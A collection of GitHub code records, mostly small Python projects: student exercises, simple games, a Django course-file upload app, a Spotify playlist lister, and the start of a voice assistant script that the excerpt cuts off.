+{"seq_id":"36979812620","text":"import os\r\nfrom tkinter import *\r\n\r\n\"\"\"\r\n\tEsta clase sirve para guardar el importe de un dia concreto dentro del mesArray,\r\n\tdonde indica el valor que dispones y si ese es por defecto o modicifaco manualmente\r\n\"\"\"\r\n\r\nclass Dia:\r\n\tsaldo = 0\r\n\tmodificado = False\r\n\tdef __init__(self, saldo, modificado):\r\n\t\tself.saldo = saldo\r\n\t\tself.modificado = modificado\r\n\r\nclass Mes:\r\n\tdias = [Dia(0,False)]\r\n\tsaldoTotal = 0\r\n\tmesString = \"\"\r\n\tdef __init__(self, dias = [Dia(0,False)], saldoTotal = 0, mesString = \"\"):\r\n\t\tself.dias = dias\r\n\t\tself.saldoTotal = saldoTotal\r\n\t\tself.mesString = mesString\r\n\t\r\n\r\n## Establece el mes y comprueba que se ha introducido un mes valido\r\ndef setMesString():\r\n\tmesesValidos = ['ENERO', 'FEBRERO', 'MARZO', 'ABRIL', 'MAYO', 'JUNIO', 'JULIO', 'AGOSTO', ' SEPTIEMBRE', 'OCTUBRE', 'NOVIEMBRE', 'DICIEMBRE']\r\n\tmesValido = False\r\n\r\n\twhile (mesValido == False) :\r\n\t\tmes = input('Introducir mes: ')\r\n\t\tfor a in mesesValidos:\r\n\t\t\tif a == mes.upper():\r\n\t\t\t\tmesValido = True\r\n\treturn mes\r\n\r\n## Dado el mes nos devuelve el numero de dias\r\ndef getDiasMes(mesString):\r\n\tdiasPorMes = {'ENERO': 31, 'FEBRERO': 28, 'MARZO': 31, 'ABRIL': 30, 'MAYO': 31, 'JUNIO': 30, 'JULIO': 31, 'AGOSTO': 31, ' SEPTIEMBRE': 30, 'OCTUBRE': 31, 'NOVIEMBRE': 30, 'DICIEMBRE': 31}\r\n\r\n\treturn diasPorMes[mesString.upper()]\r\n\r\n## Estable el dinero mensual\r\ndef setDinero():\r\n\treturn int(input('Introducir dinero mensual: '))\r\n\r\n\"\"\" \r\n\tDado el mes y el dinero disponible para gastar, devuelve un Mes \r\n\tcon el dinero por defecto que dispone para gastar cada dia\r\n\"\"\"\r\ndef setDineroDiarioDefault(dinero, diasMes):\r\n\tsaldoDiario = dinero/diasMes\r\n\t\r\n\tdias = []\r\n\r\n\tfor i in range(diasMes):\r\n\t\tdias.append(Dia(saldoDiario, False))\r\n\t\r\n\tMES = Mes(dias,dinero)\t\r\n\r\n\treturn MES\r\n\r\n\"\"\"\r\n\tDado mes, dia, importe, dinero del que se dispone en ese Mes\r\n\tmodifica el importe de ese dia en concreto y recalcula el valor\r\n\tde los dias que no se modificaron\r\n\"\"\"\r\ndef cambiarImporte(MES, dia, importe):\r\n\tdia = dia - 1\r\n\tMES.dias[dia].saldo = importe\r\n\tMES.dias[dia].modificado = True\r\n\tcount = 0\r\n\tdineroTotal = MES.saldoTotal\r\n\tfor i in range(len(MES.dias)):\r\n\t\tif MES.dias[i].modificado == True:\r\n\t\t\tdineroTotal -= MES.dias[i].saldo\r\n\t\t\tcount += 1\r\n\r\n\tsaldoDiario = dineroTotal/(len(MES.dias)-count)\r\n\tfor i in range(len(MES.dias)):\r\n\t\tif MES.dias[i].modificado == False:\r\n\t\t\tMES.dias[i].saldo = saldoDiario\r\n\r\n\treturn MES\r\n\r\n\r\ndef printCalendar(frame, MES):\r\n\theight = int(len(MES.dias)/7) + (len(MES.dias)/7 > 0)\r\n\twidth = 7\r\n\tfor i in range(height): #Rows\r\n\t\tj = 0\r\n\t\twhile i*7+j < len(MES.dias) and j < 7: #Columns\r\n\t\t\tcount = i*7+j\r\n\t\t\tb = Label(frame, text=str(i*7+j+1)+\": \"+str(round(MES.dias[i*7+j].saldo,2)))\r\n\t\t\tb.grid(row = i, column = j)\r\n\t\t\tj = j + 1\r\n\r\n\r\n## Dado mes, año y Mes, nos guarda en .txt los datos e.g. 2018Enero.txt\r\ndef guardarMes(mesString, anoString, MES):\r\n\tfile = open( anoString+mesString+\".txt\", \"w\")\r\n\tfile.write(str(MES.saldoTotal))\r\n\tfile.write(\"\\n\")\r\n\tfor dia in MES.dias:\r\n\t\tfile.write(str(dia.saldo)+\",\")\r\n\t\tfile.write(str(dia.modificado))\r\n\t\tfile.write(\"\\n\")\r\n\r\n\tfile.close()\r\n\r\ndef getMes(mesString, anoString):\r\n\tfile = open( anoString+mesString+\".txt\", \"r\")\r\n\tlines = file.readlines()\r\n\tdias = []\r\n\tcount = 0\r\n\tfor line in lines:\r\n\t\tif count == 0:\r\n\t\t\tsaldoTotal = int(line.replace(\"\\n\",\"\"))\r\n\t\telse:\t\r\n\t\t\tline = line.split(\",\")\r\n\t\t\tmodificado = False\r\n\t\t\tif line[1].replace(\"\\n\",\"\") == \"True\":\r\n\t\t\t\tmodificado = True\r\n\r\n\t\t\tdias.append(Dia( float(line[0]) , modificado ) )\r\n\t\tcount += 1\r\n\r\n\r\n\tfile.close()\t\r\n\tMES = Mes(dias, saldoTotal)\r\n\treturn MES\r\n\r\n\r\n\r\n\"\"\"\r\nkeep = True\r\nMES = Mes()\r\nprint(\"Hi there! Welcome to your personal economy assistant.\")\r\n\r\nwhile keep == True:\r\n\tprint(\"1. Load month economy\")\r\n\tprint(\"2. Exit\")\r\n\tchoose = int(input(\"\"))\r\n\tif choose == 1:\r\n\t\tanoString = input(\"Select Year:\")\r\n\t\tmesString = input(\"Select Month:\")\r\n\t\texist = os.path.isfile('./'+anoString+mesString+'.txt')\r\n\t\tif exist == True:\r\n\t\t\trespuesta = \"\"\r\n\t\telse:\r\n\t\t\trespuesta = \"Y\"\r\n\t\twhile respuesta.upper() != \"Y\" and respuesta.upper() != \"N\":\r\n\t\t\trespuesta = input(\"That month already exist. Do you want overwrite it?(Y/N)\")\r\n\t\tif respuesta.upper() == \"Y\":\r\n\t\t\tdineroMensual = setDinero()\r\n\t\t\tMES = setDineroDiarioDefault(dineroMensual, getDiasMes(mesString))\r\n\t\t\tMES.mesString = mesString\r\n\t\t\tprintCalendar(MES)\r\n\t\t\tprintCalendarVentana(MES)\r\n\t\t\tguardarMes(mesString,anoString, MES)\r\n\t\telif respuesta.upper() == \"N\":\r\n\t\t\tMES = getMes(mesString,anoString)\r\n\t\t\tMES.mesString = mesString\r\n\t\t\tprintCalendar(MES)\r\n\t\t\tprintCalendarVentana(MES)\r\n\t\tkeep1 = True\r\n\t\twhile keep1 == True:\r\n\t\t\tprint(\"1. Modify a day amount\")\r\n\t\t\tprint(\"2. Exit\")\r\n\t\t\tchoose1 = int(input(\"\"))\r\n\t\t\tif choose1 == 1:\r\n\t\t\t\tdia = int(input(\"Which day you want to modify: \"))\r\n\t\t\t\timporte = int(input(\"How much you go to spend: \"))\r\n\t\t\t\tcambiarImporte(MES, dia, importe)\r\n\t\t\t\tprintCalendar(MES)\r\n\t\t\t\tprintCalendarVentana(MES)\r\n\t\t\t\tguardarMes(mesString,anoString,MES)\r\n\t\t\telif choose1 == 2:\r\n\t\t\t\tkeep1 = False\r\n\r\n\telif choose == 2:\r\n\t\tkeep = False\r\n\"\"\"\r\n\t\r\n\r\n\r\n\t\r\n\t\r\n\r\n\t","repo_name":"Sthewo/CuentasMensuales","sub_path":"funcionesCuentasMensuales.py","file_name":"funcionesCuentasMensuales.py","file_ext":"py","file_size_in_byte":5045,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72719574162","text":"courses = {}\n\nwhile True:\n line = input()\n data = line.split(\" : \")\n if line == \"end\":\n break\n\n course_name = data[0]\n student_name = data[1]\n\n if course_name not in courses:\n courses[course_name] = []\n courses[course_name].append(student_name)\n\nfor key, val in courses.items():\n print(f\"{key}: {len(val)}\")\n for i in val:\n print(f\"-- {i}\")\n","repo_name":"goshpera/SoftUni-Courses","sub_path":"Dictionaries - Exercise/Courses.py","file_name":"Courses.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20155277569","text":"from aws_cdk import Stack, Duration\nimport aws_cdk.aws_lambda_python_alpha as lambda_python\nimport aws_cdk.aws_lambda as lambda_\nfrom constructs import Construct\nimport aws_cdk.aws_iam as iam\n\n\nclass CdkReproStack(Stack):\n\n def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n super().__init__(scope, construct_id, **kwargs)\n\n func = lambda_python.PythonFunction(\n self,\n \"Func\",\n entry=\"boto_lambda\",\n index=\"handler.py\",\n runtime=lambda_.Runtime.PYTHON_3_9,\n timeout=Duration.seconds(30)\n )\n\n func.add_to_role_policy(\n iam.PolicyStatement(\n effect=iam.Effect.ALLOW,\n actions=[\"iot:GetThingShadow\"],\n resources=[\"*\"],\n )\n )\n\n\n","repo_name":"kvncp/cdk-repro","sub_path":"cdk_repro/cdk_repro_stack.py","file_name":"cdk_repro_stack.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14593756287","text":"import os\nimport pickle\nfrom collections import namedtuple\nimport hashlib\n\ncache_path = \"../cache/\"\n\nRecord = namedtuple('Record', ['frame_idx', 'objects'])\n\n\nclass ClassifierCache(object):\n def __init__(self, classifier_path):\n # The md5 hash of the classifier file is used as a unique ID for the cache record.\n cache_ID = generate_file_md5(classifier_path)\n file_name = cache_ID + \".p\"\n self.file_path = os.path.join(cache_path, file_name)\n if os.path.isfile(self.file_path):\n print(\"Loading classifier cache from \", self.file_path)\n self._load()\n else:\n print(\"No previous classifier cache available. Initialing a new cache at \", self.file_path)\n self.cache = dict()\n\n def _load(self):\n self.cache = dict()\n with open(self.file_path, \"rb\") as fid:\n while 1:\n try:\n record = pickle.load(fid)\n except EOFError:\n break\n self.cache[record.frame_idx] = record.objects\n\n def add(self, frame_idx, objects):\n if frame_idx not in self.cache:\n with open(self.file_path, \"ab\") as fid:\n pickle.dump(Record(frame_idx=frame_idx, objects=objects), fid)\n else:\n assert(self.cache[frame_idx] == objects)\n\n def get(self, frame_idx):\n if frame_idx in self.cache:\n return self.cache[frame_idx]\n else:\n return None\n\n\ndef generate_file_md5(file_path):\n hash_obj = hashlib.md5()\n with open(file_path, \"rb\") as fid:\n while True:\n buf = fid.read(2**20)\n if not buf:\n break\n hash_obj.update(buf)\n return hash_obj.hexdigest()\n","repo_name":"misaksson/self_driving_car_nd","sub_path":"term1/P5-Vehicle-Detection-and-Tracking/src/classifier_cache.py","file_name":"classifier_cache.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"7233701092","text":"import matplotlib.pyplot as plt\r\nfrom die import Die\r\n\r\n#create a D6\r\ndie_1 = Die()\r\ndie_2 = Die()\r\n\r\n#make some rolls and store the results in a list\r\nresults = []\r\nfor roll_num in range(1000):\r\n\tresult = die_1.roll() + die_2.roll()\r\n\tresults.append(result)\r\n\r\n#analyze the results\r\nfrequencies = []\r\nmax_result = die_1.num_sides + die_2.num_sides\r\nfor value in range(2, max_result + 1): \r\n#adding 1 in this case so we can make sure it counts 6\r\n\tfrequency = results.count(value)\r\n\tfrequencies.append(frequency)\r\n\r\nprint(frequencies)\r\n\r\n#visualize the results\r\nx_values = list(range(2, max_result + 1))\r\n\r\n\r\nplt.bar(x_values, frequencies, color='pink' )\r\nplt.xlabel('Range')\r\nplt.ylabel('Frequency of Range')\r\nplt.title('Frequency of Adding the outcome of throwing 2 D6 die 1000 times', color ='blue')\r\nplt.show()","repo_name":"ursstaud/Visualizing-Generated-Data","sub_path":"mpl_die_roll.py","file_name":"mpl_die_roll.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41595693912","text":"\"\"\"\n\nPlease write a new version of the program in the previous exercise. \nIn addition to the result it should also print out the calculation performed:\n\nLimit: 2\nThe consecutive sum: 1 + 2 = 3\n\nLimit: 10\nThe consecutive sum: 1 + 2 + 3 + 4 = 10\n\nLimit: 18\nThe consecutive sum: 1 + 2 + 3 + 4 + 5 + 6 = 21\n\n\"\"\"\n\nupper_limit = int(input(\"Limit: \"))\nmy_num = 1\nfinal_num = 1\nconsecutive = \"The consecutive sum: \"\nmy_statement = \"\"\nwhile final_num < upper_limit:\n my_statement += f\"{my_num} + \"\n my_num += 1\n final_num += my_num\nprint(f\"{consecutive} {my_statement}\" + f\"{my_num} = {final_num}\")\n","repo_name":"kinsho6i7h/python3_mooc","sub_path":"mooc3_sum_of_consecutive_numbers_2.py","file_name":"mooc3_sum_of_consecutive_numbers_2.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74233491280","text":"# board\n# a way to draw on the board\n# a way to erase the board\n# an opponent\nimport random\n\narray = [['_' for i in range(3)] for j in range(3)]\n\nrunning = True\nwhile running:\n for i in range(3):\n for j in range(3):\n print(array[i][j], end='')\n print()\n\n #future assignment: make sure the user can't place their X in an occupied spot\n u_row = int(input('what row?'))\n u_col = int(input('what column?'))\n\n array[u_row][u_col] = 'X' # few ways this can go wrong, fix later\n\n c_move = True\n while c_move:\n c_row = random.randrange(0, 3)\n c_col = random.randrange(0, 3)\n\n if array[c_row][c_col] == '_':\n array[c_row][c_col] = 'O'\n c_move = False\n\n for i in range(3):\n for j in range(3):\n print(array[i][j], end='')\n print()\n\n win = input('did someone win?')\n\n if win == 'yes':\n print('Game over')\n running = False","repo_name":"kenneth-ge/Edgemont-Programming-Club-Projects","sub_path":"Tic Tac Toe with AI/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25056288097","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nimport sys\n\nfrom grass.script import parser\nfrom grass.pygrass.functions import get_lib_path\n\n\npath = get_lib_path(\"ml.class\", \"libmlcls\")\nif path is None:\n raise ImportError(\"Not able to find the path to libmlcls directory.\")\n\nsys.path.append(path)\nfrom mlstats import statistics\nfrom mlsegment import segment\n\n\ndef main(opts, flgs):\n if 's' in flgs and flgs['s']:\n segment(opts['thrs'], opts['group'], opts['seg_opts'],\n opts['seg_name'])\n if 'r' in flgs and flgs['r']:\n sname = opts['seg_name'] % opts['thrs'][-1] \\\n if '%' in opts['seg_name'] else opts['seg_name']\n statistics(opts['group'], sname,\n opts['stat_ratio_cols'].split(','), opts['hdf'],\n opts['stat_name'], opts['stat_results'])\n\n\nif __name__ == \"__main__\":\n options, flags = parser()\n options['thrs'] = [float(thr)\n for thr in options['seg_thresholds'].split(',')]\n main(options, flags)\n\n\"\"\"\nml.classify group=rgb \\\ntraining_json=training.json \\\ntraining_conf=conf.py \\\ntraining_mls=BEST \\\ntraining_hdf=/home/pietro/docdat/phd/edinburgh/segSVM/segments-ml/data.hdf \\\ntraining_Kchk=K_chk \\\ntraining_ychk=y_chk -s -r -k -c\n\n\nml.segstats group=rgb hdf=results.hdf \\\n seg_thresholds=0.01,0.02,0.05 \\\n seg_opts=\"method=region_growing,similarity=euclidean,minsize=2\" \\\n seg_name=seg__%.2f \\\n stat_name=stat_%s.csv \\\n stat_ratio_cols=photo_r_mean,photo_g_mean,photo_b_mean \\\n stat_results=K_all -s -r\n\"\"\"\n","repo_name":"zarch/ml.class","sub_path":"ml.segstats/ml.segstats.py","file_name":"ml.segstats.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"10308392686","text":"from django.shortcuts import render,redirect\nfrom .forms import UploadForm\nfrom . import models\nfrom django.http import HttpResponse, FileResponse\nfrom user.models import Teacher,Student\nimport os\nfrom course.models import Course\n\ndef get_user_name(request,id):\n user = Teacher.objects.filter(ID = id)\n if not user:\n user = Student.objects.filter(ID = id)\n user_name = user[0].name\n return user_name\n\ndef upload(request):\n if not request.session.get('is_login', None):\n return redirect(\"/index/\")\n if request.method == 'POST':\n file_form = UploadForm(request.POST, request.FILES)\n file_form.fields['course'].choices = get_course_gender(request)\n if file_form.is_valid():\n course_id = file_form.cleaned_data['course']\n\n remarks = file_form.cleaned_data['remark']\n file_info = file_form.cleaned_data['file_info']\n\n course = models.Course.objects.filter(course_id=course_id)\n uploader_id = request.session['user_id']\n if not uploader_id:\n return redirect(\"/index/\")\n new_file = models.FileInfo.objects.create(\n course_id=course_id,\n uploader_id=get_user_name(request,uploader_id),\n file_name = file_info.name,\n remarks = remarks,\n file_info = file_info\n )\n message = \"上传成功\"\n new_file.save()\n \n return render(request, 'source/upload.html', locals())\n file_form = UploadForm()\n file_form.course_list = get_course_gender(request)\n file_form.fields['course'].choices = get_course_gender(request)\n return render(request, 'source/upload.html', locals())\n\n\n# 课程资源\ndef sourcelist(request):\n if not request.session.get('is_login', None):\n # 没有登录\n return redirect(\"/index/\")\n\n # 不能再一下子打出所有课程的资源\n user_id = request.session['user_id']\n user = Teacher.objects.filter(ID = user_id)\n if not user:\n user = Student.objects.filter(ID = user_id)\n\n course = user[0].course.split(',')\n l_files = []\n \n for c in course:\n files = models.FileInfo.objects.filter(course_id = c)\n l_files.extend(files)\n file_list = []\n\n for f in l_files:\n file_info = {\n \"filename\":f.file_name,\n \"remarks\":f.remarks,\n \"uploader_id\": f.uploader_id,\n \"file_info\": f.file_info,\n \"course\":f.course.name,\n \"download_times\":f.download_times,\n \"id\":f.id\n }\n file_list.append(file_info)\n return render(request, 'source/list.html', locals())\n\ndef mysource_list(request):\n if not request.session.get('is_login', None):\n # 没有登录\n return redirect(\"/index/\")\n\n # 不能再一下子打出所有课程的资源\n mysource_flag = True\n user_id = request.session['user_id']\n user = Teacher.objects.filter(ID = user_id)\n if not user:\n user = Student.objects.filter(ID = user_id)\n user_name = user[0].name\n \n files = models.FileInfo.objects.filter(uploader_id = user_name)\n\n file_list = []\n for f in files:\n file_info = {\n \"filename\":f.file_name,\n \"remarks\":f.remarks,\n \"uploader_id\": f.uploader_id,\n \"file_info\": f.file_info,\n \"course\":f.course.name,\n \"download_times\":f.download_times,\n \"id\":f.id\n }\n file_list.append(file_info)\n return render(request, 'source/list.html', locals())\n\ndef deletesource(request,id):\n f = models.FileInfo.objects.filter(id = id)\n file_name = f[0].file_info.name\n \n print(\"id\")\n # 然后将其从数据库中删掉\n file_path = \"media/\"+file_name\n if os.path.exists(file_path):\n os.remove(file_path)\n f.delete()\n\n return redirect('/source/mysource_list/')\n\ndef download(request,id):\n f = models.FileInfo.objects.get(id = id)\n f.download_times = f.download_times + 1\n f.save()\n file_path = \"media/\"+f.file_info.name\n response = FileResponse(open(file_path, 'rb'))\n response['Content-Type'] = 'application/octet-stream'\n return response\n\ndef get_course_gender(request):\n user_id = request.session['user_id']\n user = Teacher.objects.filter(ID = user_id)\n if not user:\n user = Student.objects.filter(ID = user_id)\n course_id = user[0].course.split(',')\n choise_list = []\n for id in course_id:\n course = Course.objects.filter(course_id = id)\n if course:\n gender = [(course[0].course_id,course[0].name)]\n choise_list = choise_list+gender\n\n return choise_list\n\n ","repo_name":"shen-wenxin/HITSZ-database_project3","sub_path":"DB_PROJECT/source/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"43371645449","text":"import numpy as np\nfrom prettytable import PrettyTable\nfrom scipy.signal import convolve2d\n\nboard_np = np.zeros((6, 7))\n# board_np = np.random.randint(3, size=(6, 7))\n# # board_np = np.eye(6, 7)\n\nSEPARATOR = \"\\n-------------------------\\n\"\n\np = PrettyTable()\n\nSIZE = board_np.shape\nSIZE_ROW = SIZE[0]\nSIZE_COL = SIZE[1]\n\nUSER_INPUT = \"Please input the colum Player %i\\n\"\n\nNOT_VALID_INPUT = \"Please enter a valid input Player %i\\n\"\n\nINVALID_MOVE = \"Invalid move please try again Player %i\\n\"\n\nallowed = set(\"1234567\")\n\n# possible wins\nhorizontal_kernel = np.array([[1, 1, 1, 1]])\nvertical_kernel = np.transpose(horizontal_kernel)\ndiag1_kernel = np.eye(4, dtype=np.uint8)\ndiag2_kernel = np.fliplr(diag1_kernel)\ndetection_kernels = [horizontal_kernel, vertical_kernel, diag1_kernel, diag2_kernel]\n\n\ndef print_board():\n for row in board_np:\n p.add_row(row)\n p.header = False\n p.border = True\n p.padding_width = 1\n p.horizontal_char = \"=\"\n p.float_format = \"0.0\"\n print(p)\n p.clear()\n\n\ndef create_num_arr():\n # list 1\n l1 = np.where(board_np == 1)\n l1 = list(zip(l1[0], l1[1]))\n result1 = l1[::-1]\n # list 2\n l2 = np.where(board_np == 2)\n l2 = list(zip(l2[0], l2[1]))\n result2 = l2[::-1]\n return result1, result2\n\n\ndef fall_edit(player, xi, yi):\n for i in range(SIZE_ROW - 1): # loop through board\n if xi != SIZE_ROW - 1: # if number is at the bottom row\n # move cell down if there is available space\n if board_np[xi + 1][yi] == 0:\n board_np[xi][yi] = 0\n xi += 1\n board_np[xi][yi] = player\n\n\ndef is_valid_move(x, y):\n if 0 < y <= SIZE_COL:\n if board_np[x, y - 1] == 0:\n return True\n return False\n\n\ndef use_input(input_col, player):\n input_col = int(input_col)\n if is_valid_move(0, input_col):\n board_np[0, input_col - 1] = player\n else:\n print(INVALID_MOVE % player)\n return False\n\n\ndef winning_move(board, player):\n for kernel in detection_kernels:\n if (convolve2d(board == player, kernel, mode=\"valid\") == 4).any():\n return True\n return False\n\n\ndef fall():\n for i in range(0, 2):\n result1, result2 = create_num_arr()\n # separate x and y\n for xi, yi in result1:\n # edit board\n fall_edit(1, xi, yi)\n\n # separate x and y\n for xi, yi in result2:\n # edit board\n fall_edit(2, xi, yi)\n print_board()\n\n\ndef run():\n player = 1\n print_board()\n while True:\n print(USER_INPUT % player)\n var = input()\n if var and allowed.issuperset(var):\n if player == 1:\n use_input(var, 1)\n fall()\n if winning_move(board_np, player):\n print(f\"Player {player} has won!\")\n break\n player = 2\n else:\n use_input(var, 2)\n fall()\n if winning_move(board_np, player):\n print(f\"Player {player} has won!\")\n break\n player = 1\n else:\n print(NOT_VALID_INPUT % player)\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"Jacob1010-h/gameBot","sub_path":"connectFourNP.py","file_name":"connectFourNP.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37084375702","text":"import os\nimport argparse as args\nimport spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\n\n\nclass SpotifyBrowser:\n\n def __init__(self, client_id, client_secret):\n os.environ['SPOTIPY_CLIENT_ID'] = client_id\n os.environ['SPOTIPY_CLIENT_SECRET'] = client_secret\n self.spotify = spotipy.Spotify(client_credentials_manager=SpotifyClientCredentials())\n self.counter = 0\n\n def print_playlist_tracks(self, playlist_uri):\n playlist = self.spotify.playlist(playlist_uri)\n playlist_name = playlist['name']\n songs = playlist['tracks']\n for song in songs['items']:\n album = song['track']['album']\n track = song['track']\n album = track['album']\n album_name = album['name']\n artists_list = []\n for artist in track['artists']:\n artists_list.append(artist['name'])\n song_name = track['name']\n self.counter = self.counter + 1\n to_print = ','.join([str(self.counter), playlist_name, song_name, ' '.join(artists_list), album_name])\n print(to_print)\n\n def print_all_data(self, user_playlists):\n for playlist_item in user_playlists['items']:\n x.print_playlist_tracks(playlist_item['uri'])\n\n def get_user_playlists(self, user):\n return self.spotify.user_playlists(user)\n\n\nif __name__ == \"__main__\":\n parser = args.ArgumentParser(description='Get all my Spotify Playlists. You will need your client id, client '\n ' secret and spotify username and it will pull your '\n 'play list, song name, artist(s) and album')\n parser.add_argument('-c', '--client_id', dest='client_id', type=str)\n parser.add_argument('-s', '--client_secret', dest='client_secret', type=str)\n parser.add_argument('-u', '--user', dest='user_name', type=str)\n arguments = parser.parse_args()\n\n x = SpotifyBrowser(arguments.client_id, arguments.client_secret)\n user_playlists = x.get_user_playlists(user=arguments.user_name)\n x.print_all_data(user_playlists)\n","repo_name":"junaidm2014/spotipy","sub_path":"spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25544380526","text":"# Write a program to sort characters in a string\n\ndef sorting(str):\n str=sorted(str)\n \n for i in str:\n print(i,end=\"\")\n\nif __name__==\"__main__\":\n string=input(\"Enter string:\")\n\n sorting(string)","repo_name":"Ashvinibodade/TCS_code_questions","sub_path":"Problem89.py","file_name":"Problem89.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34939275463","text":"import speech_recognition as sr #convert speech to text\r\nimport datetime #for fetching date and time\r\nimport time #time\r\nimport wikipedia\r\nimport cv2 #camera\r\nfrom bs4 import BeautifulSoup #extract data out of HTML and XML files\r\nimport webbrowser #allow displaying web-based documents to user\r\nimport requests #allows you to send HTTP requests\r\nimport smtplib #mail\r\nimport playsound\r\nimport subprocess\r\nimport random\r\nfrom selenium import webdriver\r\n#lock window\r\n#to play saved mp3 file\r\n#import pyglet\r\nimport pyjokes #jokes\r\nfrom gtts import gTTS #google text to speech\r\nimport os #to save/open files\r\nfrom plyer import notification #access the features of the hardware\r\nimport wolframalpha #to calculate strings into formula\r\n\r\n#print(\"hello world\")\r\n#send mail\r\n\r\nheaders = {\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}\r\n\r\n\r\n\r\n## smart assistant\r\n\r\ndef fun():\r\n respond(\"Switched to smart version. File is loading...\")\r\n import emotion\r\n answer=[]\r\n respond(\"Activated..\")\r\n respond(\"Hey I am your assistant chitti two point O with additional functionality of sentiment analysis\")\r\n respond(\"Reply my questions i will help you according to your sentiment\")\r\n respond(\"What is your name\")\r\n text = talk().lower()\r\n respond(\"What is your profession\")\r\n text = talk().lower()\r\n respond(\"how are you\")\r\n text = talk().lower()\r\n answer.append(text)\r\n respond(\"how is your day going\")\r\n text = talk().lower()\r\n answer.append(text)\r\n respond(\"Did you find your day productive\")\r\n text = talk().lower()\r\n if 'yes' in text:\r\n text=\"yes Its very productive day\"\r\n else:\r\n text = \"no Its not productive day\"\r\n answer.append(text)\r\n\r\n ##2-3 more questions\r\n res=emotion.predict(answer)\r\n respond(\"Chitti got your emotion\")\r\n #respond(res)\r\n if(res=='happy'):\r\n respond(\"You are happy listen this song and make your day more beautiful\")\r\n webbrowser.open(\"https://www.youtube.com/watch?v=_ae2j9jZY_U&t=128s\")\r\n time.sleep(20)\r\n ##songs\r\n elif(res=='sad'):\r\n respond(\"Once Lemony Snicket said The way sadness works is one of the strange riddles of the world. If you are stricken with a great sadness, you may feel as if you have been set aflame, not only because of the enormous pain but also because your sadness may spread over your life, like smoke from an enormous fire. So always be motivated and be happy\")\r\n respond(\"Listen this video perhaps it will help you in making you more confident\")\r\n webbrowser.open(\"https://www.youtube.com/watch?v=tNN8JCf4Wms\")\r\n time.sleep(20)\r\n ##motivational quotes and videos\r\n else:\r\n respond(\"oooh its good to see you are in neutral mood\")\r\n respond(\"listen this song it will help you in making mood more happy sadabahaar songs\")\r\n webbrowser.open(\"https://www.youtube.com/watch?v=ndE-4vLc1IE\")\r\n time.sleep(20)\r\n ##sadabahar songs\r\n\r\n#wish according to time\r\n\r\ndef wishMe():\r\n hour = int(datetime.datetime.now().hour) ##store time in hour\r\n\r\n if hour >= 4 and hour < 12:\r\n respond(\"Hello Good Morning!\")\r\n\r\n elif hour >= 12 and hour < 18:\r\n respond(\"Hello Good Afternoon !\")\r\n\r\n else:\r\n respond(\"Hello Good Evening\")\r\n\r\n assname = (\"Chitti 1 point o\") ##giving name to my assistant\r\n respond(f\"I am your assistant {assname}\")\r\n\r\n##respond function ->text will convert to voice here ...what will my assistant said is here\r\ndef respond(output):\r\n print(\"Responding...\")\r\n num = 0\r\n print(output)\r\n num += 1\r\n response = gTTS(text=output, lang='en',tld=\"com\")\r\n file = str(num)+'.mp3'\r\n file = str(file)\r\n #print(file)\r\n response.save(file)\r\n playsound.playsound(file)\r\n #playsound.playsound(None)\r\n #print(output)\r\n #playsound.playsound('1.mp3')\r\n os.remove(file)\r\n\r\n\r\ndef weather(city):\r\n city = city.replace(\" \", \"+\")\r\n res = requests.get(\r\n f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',\r\n headers=headers)\r\n print(\"Searching...\\n\")\r\n soup = BeautifulSoup(res.text, 'html.parser')\r\n location = soup.select('#wob_loc')[0].getText().strip()\r\n time = soup.select('#wob_dts')[0].getText().strip()\r\n info = soup.select('#wob_dc')[0].getText().strip()\r\n weather = soup.select('#wob_tm')[0].getText().strip()\r\n respond(location)\r\n respond(time)\r\n respond(info)\r\n respond(weather + \"°Celcius\")\r\n# voice will convert in to text\r\ndef talk():\r\n\r\n print(\"Listening...\")\r\n input = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n input.adjust_for_ambient_noise(source)\r\n audio = input.listen(source)\r\n data = \"\"\r\n try:\r\n print(\"Recognizing..\")\r\n data = input.recognize_google(audio)\r\n print(\"User Said...->\" + data)\r\n except sr.UnknownValueError:\r\n print(\"Sorry I did not hear your words, Please repeat again.\")\r\n return data\r\n\r\n\r\n#main function\r\nif __name__ == '__main__':\r\n wishMe()\r\n counter =0\r\n\r\n while (1):\r\n hour = int(datetime.datetime.now().hour)\r\n if(hour == 